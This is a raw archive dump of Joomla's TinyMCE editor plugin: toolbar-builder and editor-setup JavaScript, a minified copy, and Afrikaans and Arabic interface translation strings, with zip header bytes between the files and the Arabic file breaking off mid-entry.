        this.$targetToolbar.each(function(i, element){
            this.renderBar(element, 'toolbar', null, true);
        }.bind(this));

        // Set up "drag&drop" stuff
        var $copyHelper = null, removeIntent = false, self = this;
        this.$sourceMenu.sortable({
            connectWith: this.$targetMenu,
            items: '.mce-btn',
            cancel: '',
            placeholder: 'mce-btn ui-state-highlight',
            start: function(event, ui) {
                self.$targetMenu.addClass('drop-area-highlight');
            },
            helper: function(event, el) {
                $copyHelper = el.clone().insertAfter(el);
                return el;
            },
            stop: function() {
                $copyHelper && $copyHelper.remove();
               
self.$targetMenu.removeClass('drop-area-highlight');
            }
        });

        this.$sourceToolbar.sortable({
            connectWith: this.$targetToolbar,
            items: '.mce-btn',
            cancel: '',
            placeholder: 'mce-btn ui-state-highlight',
            start: function(event, ui) {
               
self.$targetToolbar.addClass('drop-area-highlight');
            },
            helper: function(event, el) {
                $copyHelper = el.clone().insertAfter(el);
                return el;
            },
            stop: function() {
                $copyHelper && $copyHelper.remove();
               
self.$targetToolbar.removeClass('drop-area-highlight');
            }
        });

        $().add(this.$targetMenu).add(this.$targetToolbar).sortable({
            items: '.mce-btn',
            cancel: '',
            placeholder: 'mce-btn ui-state-highlight',
            receive: function(event, ui) {
                $copyHelper = null;
                var $el = ui.item, $cont = $(this);
                self.appendInput($el, $cont.data('group'),
$cont.data('set'))
            },
            over: function (event, ui) {
                removeIntent = false;
            },
            out: function (event, ui) {
                removeIntent = true;
            },
            beforeStop: function (event, ui) {
                if(removeIntent){
                    ui.item.remove();
                }
            }
        });

        // Bind actions buttons
        this.$container.on('click', '.button-action',
function(event){
            var $btn = $(event.target), action =
$btn.data('action'), options = $btn.data();

            if (this[action]) {
                this[action].call(this, options);
            } else {
                throw new Error('Unsupported action ' + action);
            }
        }.bind(this));

    };

    /**
     * Render the toolbar/menubar
     *
     * @param {HTMLElement} container  The toolbar container
     * @param {String}      type       The type toolbar or menu
     * @param {Array|null}  value      The value
     * @param {Boolean}     withInput  Whether append input
     *
     * @since  3.7.0
     */
    JoomlaTinyMCEBuilder.prototype.renderBar = function(container, type,
value, withInput) {
        var $container = $(container),
            group = $container.data('group'),
            set = $container.data('set'),
            items = type === 'menu' ? this.options.menus :
this.options.buttons,
            value = value ? value : ($container.data('value') ||
[]),
            item, name, $btn;

        for ( var i = 0, l = value.length; i < l; i++ ) {
            name = value[i];
            item = items[name];

            if (!item) {
                continue;
            }

            $btn = this.createButton(name, item, type);
            $container.append($btn);

            // Enable tooltip
            if ($btn.tooltip) {
                $btn.tooltip({trigger: 'hover'});
            }

            // Add input
            if (withInput) {
                this.appendInput($btn, group, set);
            }
        }
    };

    /**
     * Create the element needed for renderBar()
     * @param {String} name
     * @param {Object} info
     * @param {String} type
     *
     * @return {jQuery}
     *
     * @since  3.7.0
     */
    JoomlaTinyMCEBuilder.prototype.createButton = function(name, info,
type){
        var $element = $('<div />', {
            'class': 'mce-btn',
            'data-name': name,
            'data-toggle': 'tooltip',
            'title': tinymce.translate(info.label)
        });
        var $btn = $('<button/>', {
            'type': 'button'
        });
        $element.append($btn);

        if (type === 'menu') {
            $btn.html('<span class="mce-txt">' +
tinymce.translate(info.label) + '</span> <i
class="mce-caret"></i>');
        } else {
            $element.addClass('mce-btn-small');
            $btn.html(info.text ? tinymce.translate(info.text) :
'<i class="mce-ico mce-i-' + name +
'"></i>');
        }

        return $element;
    };

    /**
     * Append input to the button item
     * @param {HTMLElement} element
     * @param {String}      group
     * @param {String}      set
     *
     * @since  3.7.0
     */
    JoomlaTinyMCEBuilder.prototype.appendInput = function (element, group,
set) {
        var $el    = $(element),
            name   = this.options.formControl + '[' + set +
'][' + group + '][]',
            $input = $('<input/>', {
                type: 'hidden',
                name:  name,
                value: $el.data('name')
            });

        $el.append($input);
    };

    /**
     * Set Selected preset to specific  set
     * @param {Object} options Options {set: 1, preset:
'presetName'}
     */
    JoomlaTinyMCEBuilder.prototype.setPreset = function (options) {
        var set = options.set, preset =
this.options.toolbarPreset[options.preset] || null;

        if (!preset) {
            throw new Error('Unknown Preset "' +
options.preset + '"');
        }

        var $container, type;
        for (var group in preset) {
            if (!preset.hasOwnProperty(group)) {
                continue;
            }

            // Find correct container for current set
            if (group === 'menu') {
                type = 'menu';
                $container =
this.$targetMenu.filter('[data-group="' + group +
'"][data-set="' + set + '"]');
            } else {
                type = 'toolbar'
                $container =
this.$targetToolbar.filter('[data-group="' + group +
'"][data-set="' + set + '"]');
            }

            // Reset existing values
            $container.empty();

            // Set new
            this.renderBar($container, type, preset[group], true);
        }
    };

    /**
     * Clear the pane for specific set
     * @param {Object} options Options {set: 1}
     */
    JoomlaTinyMCEBuilder.prototype.clearPane = function (options) {
        var set = options.set;

        this.$targetMenu.filter('[data-set="' + set +
'"]').empty();
        this.$targetToolbar.filter('[data-set="' + set +
'"]').empty();
    };


    // Init the builder
    $(document).ready(function(){
        var options = Joomla.getOptions ?
Joomla.getOptions('plg_editors_tinymce_builder', {})
        			:  (Joomla.optionsStorage.plg_editors_tinymce_builder || {});

        new JoomlaTinyMCEBuilder($('#joomla-tinymce-builder'),
options);

        $("#set-tabs a").on('click', function (event) {
            event.preventDefault();
            $(this).tab("show");
        });

        // Allow to select the group only once per the set
        var $accessSelects =
$('#joomla-tinymce-builder').find('.access-select');
        toggleAvailableOption();
        $accessSelects.on('change', function () {
            toggleAvailableOption();
        });

        function toggleAvailableOption () {
           
$accessSelects.find('option[disabled]').removeAttr('disabled');

            // Disable already selected options
            $accessSelects.each(function () {
                var $select = $(this), val = $select.val() || [], query =
[],
                    $options =
$accessSelects.not(this).find('option');

                for (var i = 0, l = val.length; i < l; i++ ) {
                    if (!val[i]) continue;
                    query.push('[value="' + val[i] +
'"]');
                }

                if (query.length) {
                   
$options.filter(query.join(',')).attr('disabled',
'disabled');
                }
            });

            // Update Chosen
            $accessSelects.trigger('liszt:updated');
        }
    });
}(jQuery));
PKR��[��G&��tinymce/js/tinymce.jsnu�[���/**
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see
LICENSE.txt
 */

;(function(tinyMCE, Joomla, window, document){
	"use strict";

	// This line is for Mootools b/c
	window.getSize = window.getSize || function(){return {x:
window.innerWidth, y: window.innerHeight};};

	// @deprecated 4.0 Use directly
Joomla.editors.instances[editor].replaceSelection(text);
	window.jInsertEditorText = function ( text, editor ) {
		Joomla.editors.instances[editor].replaceSelection(text);
	};

	var JoomlaTinyMCE = {

		/**
		 * Find all TinyMCE elements and initialize TinyMCE instance for each
		 *
		 * @param {HTMLElement}  target  Target Element where to search for the
editor element
		 *
		 * @since 3.7.0
		 */
		setupEditors: function ( target ) {
			target = target || document;
			var pluginOptions = Joomla.getOptions ?
Joomla.getOptions('plg_editor_tinymce', {})
					:  (Joomla.optionsStorage.plg_editor_tinymce || {}),
				editors = target.querySelectorAll('.js-editor-tinymce');

			for(var i = 0, l = editors.length; i < l; i++) {
				var editor = editors[i].querySelector('textarea');
				this.setupEditor(editor, pluginOptions);
			}
		},

		/**
		 * Initialize TinyMCE editor instance
		 *
		 * @param {HTMLElement}  element
		 * @param {Object}       pluginOptions
		 *
		 * @since 3.7.0
		 */
		setupEditor: function ( element, pluginOptions ) {
			var name = element ?
element.getAttribute('name').replace(/\[\]|\]/g,
'').split('[').pop() : 'default', // Get
Editor name
			    tinyMCEOptions = pluginOptions ? pluginOptions.tinyMCE || {} : {},
			    defaultOptions = tinyMCEOptions['default'] || {},
			    options = tinyMCEOptions[name] ? tinyMCEOptions[name] :
defaultOptions; // Check specific options by the name

			// Avoid an unexpected changes, and copy the options object
			if (options.joomlaMergeDefaults) {
				options = Joomla.extend(Joomla.extend({}, defaultOptions), options);
			} else {
				options = Joomla.extend({}, options);
			}

			if (element) {
				// We already have the Target, so reset the selector and assign given
element as target
				options.selector = null;
				options.target   = element;
			}

			// @TODO: the ext-buttons should be as TinyMCE plugins, not the callback
hack
			if (options.joomlaExtButtons && options.joomlaExtButtons.names
&& options.joomlaExtButtons.names.length) {
				options.toolbar1 += ' | ' +
options.joomlaExtButtons.names.join(' ');
				var callbackString =
options.joomlaExtButtons.script.join(';');
				options.setupCallbackString = options.setupCallbackString ||
'';
				options.setupCallbackString = options.setupCallbackString +
';' + callbackString;
				options.joomlaExtButtons = null;
			}

			if (options.setupCallbackString && !options.setup) {
				options.setup = new Function('editor',
options.setupCallbackString);
			}

			// Create a new instance
			var ed = new tinyMCE.Editor(element.id, options, tinymce.EditorManager);
			ed.render();

			/** Register the editor's instance to Joomla Object */
			Joomla.editors.instances[element.id] = {
				// Required by Joomla's API for the XTD-Buttons
				'getValue': function () { return this.instance.getContent();
},
				'setValue': function (text) { return
this.instance.setContent(text); },
				'getSelection': function () { return
this.instance.selection.getContent({format: 'text'}); },
				'replaceSelection': function (text) { return
this.instance.execCommand('mceInsertContent', false, text); },
				// Some extra instance dependent
				'id': element.id,
				'instance': ed,
				'onSave': function() { if (this.instance.isHidden()) {
this.instance.show()}; return '';},
			};

			/** On save **/
			document.getElementById(ed.id).form.addEventListener('submit',
function() {
				Joomla.editors.instances[ed.targetElm.id].onSave();
			})
		}

	};

	Joomla.JoomlaTinyMCE = JoomlaTinyMCE;

	// Init on DOMContentLoaded
	document.addEventListener('DOMContentLoaded', function () {
		Joomla.JoomlaTinyMCE.setupEditors();

		// Init in subform field
		if(window.jQuery) {
			jQuery(document).on('subform-row-add', function (event, row) {
				Joomla.JoomlaTinyMCE.setupEditors(row);
			});
		}
	});

}(tinyMCE, Joomla, window, document));
PKR��[7ӟggtinymce/js/tinymce.min.jsnu�[���!function(u,l,t,c){"use
strict";t.getSize=t.getSize||function(){return{x:t.innerWidth,y:t.innerHeight}},t.jInsertEditorText=function(t,e){l.editors.instances[e].replaceSelection(t)};var
e={setupEditors:function(t){t=t||c;for(var
e=l.getOptions?l.getOptions("plg_editor_tinymce",{}):l.optionsStorage.plg_editor_tinymce||{},n=t.querySelectorAll(".js-editor-tinymce"),i=0,o=n.length;i<o;i++){var
r=n[i].querySelector("textarea");this.setupEditor(r,e)}},setupEditor:function(t,e){var
n=t?t.getAttribute("name").replace(/\[\]|\]/g,"").split("[").pop():"default",i=e&&e.tinyMCE||{},o=i.default||{},r=i[n]?i[n]:o;if(r=r.joomlaMergeDefaults?l.extend(l.extend({},o),r):l.extend({},r),t&&(r.selector=null,r.target=t),r.joomlaExtButtons&&r.joomlaExtButtons.names&&r.joomlaExtButtons.names.length){r.toolbar1+="
| "+r.joomlaExtButtons.names.join(" ");var
s=r.joomlaExtButtons.script.join(";");r.setupCallbackString=r.setupCallbackString||"",r.setupCallbackString=r.setupCallbackString+";"+s,r.joomlaExtButtons=null}r.setupCallbackString&&!r.setup&&(r.setup=new
Function("editor",r.setupCallbackString));var a=new
u.Editor(t.id,r,tinymce.EditorManager);a.render(),l.editors.instances[t.id]={getValue:function(){return
this.instance.getContent()},setValue:function(t){return
this.instance.setContent(t)},getSelection:function(){return
this.instance.selection.getContent({format:"text"})},replaceSelection:function(t){return
this.instance.execCommand("mceInsertContent",!1,t)},id:t.id,instance:a,onSave:function(){return
this.instance.isHidden()&&this.instance.show(),""}},c.getElementById(a.id).form.addEventListener("submit",function(){l.editors.instances[a.targetElm.id].onSave()})}};l.JoomlaTinyMCE=e,c.addEventListener("DOMContentLoaded",function(){l.JoomlaTinyMCE.setupEditors(),t.jQuery&&jQuery(c).on("subform-row-add",function(t,e){l.JoomlaTinyMCE.setupEditors(e)})})}(tinyMCE,Joomla,window,document);
PKR��[�����tinymce/langs/af.jsnu�[���tinymce.addI18n('af',{
"Cut": "Knip",
"Heading 5": "Hooflyn 5",
"Header 2": "Hooflyn 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Jou
webblaaier ondersteun nie toegang tot die knipbord nie. Gebruik asb.
Ctrl+X\/C\/V.",
"Heading 4": "Hooflyn 4",
"Div": "Div",
"Heading 2": "Hooflyn 2",
"Paste": "Plak",
"Close": "Sluit",
"Font Family": "Font Familie",
"Pre": "Pre",
"Align right": "Regs-gerig",
"New document": "Nuwe dokument",
"Blockquote": "Aanhaaling",
"Numbered list": "Genommerde lys",
"Heading 1": "Hooflyn 1",
"Headings": "Koppe",
"Increase indent": "Inkeping vergroot",
"Formats": "Formate",
"Headers": "Hooflyn-tekste",
"Select all": "Alles selekteer",
"Header 3": "Hooflyn 3",
"Blocks": "Blok",
"Undo": "Ongedaan maak",
"Strikethrough": "Deurhaal",
"Bullet list": "Opsommingsteken-lys",
"Header 1": "Hooflyn 1",
"Superscript": "Superskrif",
"Clear formatting": "Herstel Formateering",
"Font Sizes": "Tekengrootte",
"Subscript": "Subskrif",
"Header 6": "Hooflyn 6",
"Redo": "Herdoen",
"Paragraph": "Paragraaf",
"Ok": "OK",
"Bold": "Vetdruk",
"Code": "Kode",
"Italic": "Kursief",
"Align center": "Sentreer",
"Header 5": "Hooflyn 5",
"Heading 6": "Hooflyn 6",
"Heading 3": "Hooflyn 3",
"Decrease indent": "Inkeping verklein",
"Header 4": "Hooflyn 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Die plak funksie is nou
in plat-teks modus. Teks word ingevoeg sonder enige formateering, todat jy
hierdie opsie wissel.",
"Underline": "Onderlyn",
"Cancel": "Kanselleer",
"Justify": "Gerigstelling",
"Inline": "Inlyn",
"Copy": "Kopieer",
"Align left": "Linksgerig",
"Visual aids": "Hulpmiddels",
"Lower Greek": "Griekse letters",
"Square": "Vierkantjie",
"Default": "Verstek",
"Lower Alpha": "Klein letters",
"Circle": "Sirkeltjie",
"Disc": "Balletjie",
"Upper Alpha": "Hoofletters",
"Upper Roman": "Romeinse syfers groot",
"Lower Roman": "Romeinse syfers klein",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id moet met 'n
letter begin en kan slegs deur letters, koppeltekens, syfers, punte en
onderstreep-karakters gevolg word",
"Name": "Naam",
"Anchor": "Anker",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Jy het ongestoorde wysigings op hierdier bladsy - is jy
seker dat jy die bladsy wil verlaat?",
"Restore last draft": "Herstel die laatste konsep",
"Special character": "Spesiaale karakter",
"Source code": "Bronkode",
"Language": "Taal",
"Insert\/Edit code sample": "Voeg\/Redigeer
voorbeeld-kode",
"B": "Blou",
"R": "Rooi",
"G": "Groen",
"Color": "Kleur",
"Right to left": "Regs na links",
"Left to right": "Links na regs",
"Emoticons": "Emotikons",
"Robots": "Robotte",
"Document properties": "Dokument eienskappe",
"Title": "Titel",
"Keywords": "Sleutelwoorde",
"Encoding": "Kodering",
"Description": "Beskrywing",
"Author": "Outeur",
"Fullscreen": "Voll-skerm",
"Horizontal line": "Horisontale lyn",
"Horizontal space": "Horisontale ruimte",
"Insert\/edit image": "Afbeelding invoeg\/bewerk",
"General": "Algemeen",
"Advanced": "Gevorderd",
"Source": "Bron",
"Border": "Rand",
"Constrain proportions": "Behou verhoudings",
"Vertical space": "Vertikale ruimte",
"Image description": "Afbeelding bemskrywing",
"Style": "Styl",
"Dimensions": "Afmetings",
"Insert image": "Afbeelding invoeg",
"Image": "Afbeelding",
"Zoom in": "Inzoem",
"Contrast": "Kontras",
"Back": "Terug",
"Gamma": "Gamma",
"Flip horizontally": "Horisontaal weerspie\u00ebl",
"Resize": "Grootte wysig",
"Sharpen": "Verskerp",
"Zoom out": "Uitzoem",
"Image options": "Afbeelding opsies",
"Apply": "Toepas",
"Brightness": "Helderheid",
"Rotate clockwise": "Regsom draai",
"Rotate counterclockwise": "Linksom draai",
"Edit image": "Bewerk afbeelding",
"Color levels": "Kleurvlakke",
"Crop": "Afknip",
"Orientation": "Orienteering",
"Flip vertically": "Vertikaal weerspie\u00ebl",
"Invert": "Omkeer",
"Date\/time": "Datum\/tyd",
"Insert date\/time": "Voeg datum\/tyd in",
"Remove link": "Skakel verwyder",
"Url": "URL",
"Text to display": "Skakelteks",
"Anchors": "Anker",
"Insert link": "Skakel invoeg",
"Link":"Skakel",
"New window": "Nuwe venster",
"None": "Geen",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Die URL verwys na 'n
eksterne adres. Wil jy die \"http:\/\/\" voorvoegsel
byvoeg?",
"Paste or type a link": "Plak of tik 'n skalel
in",
"Target": "Teiken",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Die URL lyk soos 'n
eposadres. Wil jy die \"mailto:\" voorvoegsel byvoeg?",
"Insert\/edit link": "Skakel invoeg\/bewerk",
"Insert\/edit video": "Video invoeg\/bewerk",
"Poster": "Plakaat",
"Insert\/edit media": "Voeg in\/Redigeer media",
"Media": "Media",
"Alternative source": "Alternatiewe bron",
"Paste your embed code below:": "Plak jou ingesluite kode
hieronder in:",
"Insert video": "Video invoeg",
"Embed": "Insluit",
"Nonbreaking space": "Vaste spasie invoeg",
"Page break": "Nuwe Bladsy",
"Paste as text": "As teks plak",
"Preview": "Voorbeeld",
"Print": "Druk",
"Save": "Stoor",
"Could not find the specified string.": "Kon nie die
gesoekde string vind nie",
"Replace": "Vervang",
"Next": "Volgende",
"Whole words": "Sleg hele woorde",
"Find and replace": "Soek-en-Vervang",
"Replace with": "Vervang met",
"Find": "Soek",
"Replace all": "Alles vervang",
"Match case": "Kassensitief",
"Prev": "Vorige",
"Spellcheck": "Speltoets",
"Finish": "Einde",
"Ignore all": "Alles ignoreer",
"Ignore": "Ignoreer",
"Add to Dictionary": "Aan woordelys byvoeg",
"Insert row before": "Voeg nuwe ry boaan",
"Rows": "Rye",
"Height": "Hoogte",
"Paste row after": "Plak ry onder",
"Alignment": "Gerigdheid",
"Border color": "Randkleur",
"Column group": "Kolomgroep",
"Row": "Ry",
"Insert column before": "Voeg kolom vooraan",
"Split cell": "Split sel",
"Cell padding": "Ruimte binnein sel",
"Cell spacing": "Ruimte rondom sel",
"Row type": "Ry tipe",
"Insert table": "Tabel invoeg",
"Body": "Tabel Inhoud",
"Caption": "Onderskrif",
"Footer": "Voetskrif",
"Delete row": "Verwyder ry",
"Paste row before": "Plak ry vooraan",
"Scope": "Bereik",
"Delete table": "Verwyder tabel",
"H Align": "Horisontaal-gerigdheid",
"Top": "Bo",
"Header cell": "Kop sel",
"Column": "Kolom",
"Row group": "Rygroep",
"Cell": "Sel",
"Middle": "Sentreer",
"Cell type": "Seltipe",
"Copy row": "Kopieer ry",
"Row properties": "Ry eienskappe",
"Table properties": "Tabel eienskappe",
"Bottom": "Onder",
"V Align": "Vertikaal-rerigdheid",
"Header": "Kopteks",
"Right": "Regs",
"Insert column after": "Voeg kolom na",
"Cols": "Kolomme",
"Insert row after": "Voeg ry onderaan",
"Width": "Breedte",
"Cell properties": "Sel eienskappe",
"Left": "Links",
"Cut row": "Knip ry",
"Delete column": "Verwyder kolom",
"Center": "Middel",
"Merge cells": "Selle saamvoeg",
"Insert template": "Sjabloon invoeg",
"Templates": "Sjablone",
"Background color": "Agtergrondkleur",
"Custom...": "Pasgemaakte...",
"Custom color": "Pasgemaakte kleur",
"No color": "Geen kleur",
"Text color": "Tekskleur",
"Table of Contents":"Inhouds-opgawe",
"Show blocks": "Blokke vertoon",
"Show invisible characters": "Onsigbare karakters
vertoon",
"Words: {0}": "Woorde: {0}",
"Insert": "Invoeg",
"File": "L\u00eaer",
"Edit": "Bewerk",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Ryk Teks Area. Druk ALT-F9 vir menu,
ALT-F10 vir die nutsbalk, ALT-0 vir hulp.",
"Tools": "Gereedskap",
"View": "Beeld",
"Table": "Tabel",
"Format": "Formateering"
});
PKR��[M�}K}Ktinymce/langs/ar.jsnu�[���tinymce.addI18n('ar',{
"Cut": "\u0642\u0635",
"Heading 5": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a 5",
"Header 2":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0645\u062a\u0635\u0641\u062d\u0643 \u0644\u0627
\u064a\u062f\u0639\u0645 \u0627\u0644\u0648\u0635\u0648\u0644
\u0627\u0644\u0645\u0628\u0627\u0634\u0631 \u0625\u0644\u0649
\u0627\u0644\u062d\u0627\u0641\u0638\u0629.
\u0627\u0644\u0631\u062c\u0627\u0621
\u0627\u0633\u062a\u062e\u062f\u0627\u0645
\u0627\u062e\u062a\u0635\u0627\u0631\u0627\u062a \u0644\u0648\u062d\u0629
\u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d Ctrl+X\/C\/V
\u0628\u062f\u0644\u0627 \u0645\u0646 \u0630\u0644\u0643.",
"Heading 4": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a 4",
"Div": "Div",
"Heading 2": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a 2",
"Paste": "\u0644\u0635\u0642",
"Close": "\u0625\u063a\u0644\u0627\u0642",
"Font Family": "\u0645\u062c\u0645\u0648\u0639\u0629
\u0627\u0644\u062e\u0637",
"Pre": "\u0633\u0627\u0628\u0642",
"Align right": "\u0645\u062d\u0627\u0630\u0627\u0629
\u0627\u0644\u0646\u0635 \u0644\u0644\u064a\u0645\u064a\u0646",
"New document": "\u0645\u0633\u062a\u0646\u062f
\u062c\u062f\u064a\u062f",
"Blockquote": "\u0639\u0644\u0627\u0645\u0627\u062a
\u0627\u0644\u0627\u0642\u062a\u0628\u0627\u0633",
"Numbered list": "\u062a\u0631\u0642\u064a\u0645",
"Heading 1": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a 1",
"Headings":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629",
"Increase indent": "\u0632\u064a\u0627\u062f\u0629
\u0627\u0644\u0645\u0633\u0627\u0641\u0629
\u0627\u0644\u0628\u0627\u062f\u0626\u0629",
"Formats":
"\u0627\u0644\u062a\u0646\u0633\u064a\u0642\u0627\u062a",
"Headers":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646",
"Select all": "\u062a\u062d\u062f\u064a\u062f
\u0627\u0644\u0643\u0644",
"Header 3":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 3",
"Blocks": "\u0627\u0644\u0623\u0642\u0633\u0627\u0645",
"Undo": "\u062a\u0631\u0627\u062c\u0639",
"Strikethrough": "\u064a\u062a\u0648\u0633\u0637
\u062e\u0637",
"Bullet list": "\u062a\u0639\u062f\u0627\u062f
\u0646\u0642\u0637\u064a",
"Header 1":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 1",
"Superscript": "\u0645\u0631\u062a\u0641\u0639",
"Clear formatting": "\u0645\u0633\u062d
\u0627\u0644\u062a\u0646\u0633\u064a\u0642",
"Font Sizes": "\u062d\u062c\u0645
\u0627\u0644\u062e\u0637",
"Subscript": "\u0645\u0646\u062e\u0641\u0636",
"Header 6":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 6",
"Redo": "\u0625\u0639\u0627\u062f\u0629",
"Paragraph": "\u0641\u0642\u0631\u0629",
"Ok": "\u0645\u0648\u0627\u0641\u0642",
"Bold": "\u063a\u0627\u0645\u0642",
"Code": "\u0631\u0645\u0632",
"Italic": "\u0645\u0627\u0626\u0644",
"Align center": "\u062a\u0648\u0633\u064a\u0637",
"Header 5":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 5",
"Heading 6": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a 6",
"Heading 3": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646
\u0627\u0644\u0631\u0626\u064a\u0633\u064a 3",
"Decrease indent": "\u0625\u0646\u0642\u0627\u0635
\u0627\u0644\u0645\u0633\u0627\u0641\u0629
\u0627\u0644\u0628\u0627\u062f\u0626\u0629",
"Header 4":
"\u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "\u064a\u062a\u0645
\u0627\u0644\u0644\u0635\u0642 \u062d\u0627\u0644\u064a\u0627\u064b
\u0643\u0646\u0635 \u0639\u0627\u062f\u064a.
\u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0633\u064a\u0628\u0642\u0649
\u0643\u0646\u0635 \u0639\u0627\u062f\u064a \u062d\u062a\u0649
\u062a\u0642\u0648\u0645 \u0628\u062a\u0639\u0637\u064a\u0644
\u0647\u0630\u0627 \u0627\u0644\u062e\u064a\u0627\u0631.",
"Underline": "\u062a\u0633\u0637\u064a\u0631",
"Cancel": "\u0625\u0644\u063a\u0627\u0621",
"Justify": "\u0636\u0628\u0637",
"Inline": "\u062e\u0644\u0627\u0644",
"Copy": "\u0646\u0633\u062e",
"Align left": "\u0645\u062d\u0627\u0630\u0627\u0629
\u0627\u0644\u0646\u0635 \u0644\u0644\u064a\u0633\u0627\u0631",
"Visual aids":
"\u0627\u0644\u0645\u0639\u064a\u0646\u0627\u062a
\u0627\u0644\u0628\u0635\u0631\u064a\u0629",
"Lower Greek": "\u062a\u0631\u0642\u064a\u0645
\u064a\u0648\u0646\u0627\u0646\u064a \u0635\u063a\u064a\u0631",
"Square": "\u0645\u0631\u0628\u0639",
"Default":
"\u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a",
"Lower Alpha": "\u062a\u0631\u0642\u064a\u0645
\u0623\u062e\u0631\u0641 \u0635\u063a\u064a\u0631\u0629",
"Circle": "\u062f\u0627\u0626\u0631\u0629",
"Disc": "\u0642\u0631\u0635",
"Upper Alpha": "\u062a\u0631\u0642\u064a\u0645
\u0623\u062d\u0631\u0641 \u0643\u0628\u064a\u0631\u0629",
"Upper Roman": "\u062a\u0631\u0642\u064a\u0645
\u0631\u0648\u0645\u0627\u0646\u064a \u0643\u0628\u064a\u0631",
"Lower Roman": "\u062a\u0631\u0642\u064a\u0645
\u0631\u0648\u0645\u0627\u0646\u064a \u0635\u063a\u064a\u0631",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "\u0631\u0642\u0645
\u0627\u0644\u0645\u0639\u0631\u0641 \u064a\u062c\u0628 \u0623\u0646
\u062a\u0628\u062f\u0623 \u0628\u062d\u0631\u0641\u060c
\u064a\u062a\u0628\u0639 \u0641\u0642\u0637 \u0628\u062d\u0631\u0648\u0641
\u0648\u0623\u0631\u0642\u0627\u0645\u060c
\u0634\u0631\u0637\u0627\u062a\u060c \u0623\u0648
\u0627\u0644\u0646\u0642\u0627\u0637\u060c
\u0627\u0644\u0646\u0642\u0637\u062a\u064a\u0646 \u0623\u0648
\u0627\u0644\u0634\u0631\u0637\u0627\u062a
\u0627\u0644\u0633\u0641\u0644\u064a\u0629.",
"Name": "\u0627\u0644\u0627\u0633\u0645",
"Anchor": "\u0645\u0631\u0633\u0627\u0629",
"Id": "\u0631\u0642\u0645
\u0627\u0644\u0645\u0639\u0631\u0641",
"You have unsaved changes are you sure you want to navigate
away?": "\u0644\u062f\u064a\u0643
\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0644\u0645 \u064a\u062a\u0645
\u062d\u0641\u0638\u0647\u0627 \u0647\u0644 \u0623\u0646\u062a
\u0645\u062a\u0623\u0643\u062f \u0623\u0646\u0643 \u062a\u0631\u063a\u0628
\u0641\u064a \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644
\u0628\u0639\u064a\u062f\u0627\u061f",
"Restore last draft":
"\u0627\u0633\u062a\u0639\u0627\u062f\u0629 \u0623\u062e\u0631
\u0645\u0633\u0648\u062f\u0629",
"Special character": "\u0631\u0645\u0632",
"Source code": "\u0634\u0641\u0631\u0629
\u0627\u0644\u0645\u0635\u062f\u0631",
"Language": "\u0627\u0644\u0644\u063a\u0629",
"Insert\/Edit code sample":
"\u0625\u062f\u0631\u0627\u062c/\u062a\u062d\u0631\u064a\u0631
\u0627\u0644\u0643\u0648\u062f",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u0627\u0644\u0644\u0648\u0646",
"Right to left": "\u0645\u0646
\u0627\u0644\u064a\u0645\u064a\u0646
\u0644\u0644\u064a\u0633\u0627\u0631",
"Left to right": "\u0645\u0646
\u0627\u0644\u064a\u0633\u0627\u0631
\u0644\u0644\u064a\u0645\u064a\u0646",
"Emoticons": "\u0627\u0644\u0631\u0645\u0648\u0632",
"Robots":
"\u0627\u0644\u0631\u0648\u0628\u0648\u062a\u0627\u062a",
"Document properties": "\u062e\u0635\u0627\u0626\u0635
\u0627\u0644\u0645\u0633\u062a\u0646\u062f",
"Title": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646",
"Keywords": "\u0643\u0644\u0645\u0627\u062a
\u0627\u0644\u0628\u062d\u062b",
"Encoding":
"\u0627\u0644\u062a\u0631\u0645\u064a\u0632",
"Description": "\u0627\u0644\u0648\u0635\u0641",
"Author": "\u0627\u0644\u0643\u0627\u062a\u0628",
"Fullscreen": "\u0645\u0644\u0621
\u0627\u0644\u0634\u0627\u0634\u0629",
"Horizontal line": "\u062e\u0637
\u0623\u0641\u0642\u064a",
"Horizontal space": "\u0645\u0633\u0627\u0641\u0629
\u0623\u0641\u0642\u064a\u0629",
"Insert\/edit image":
"\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631
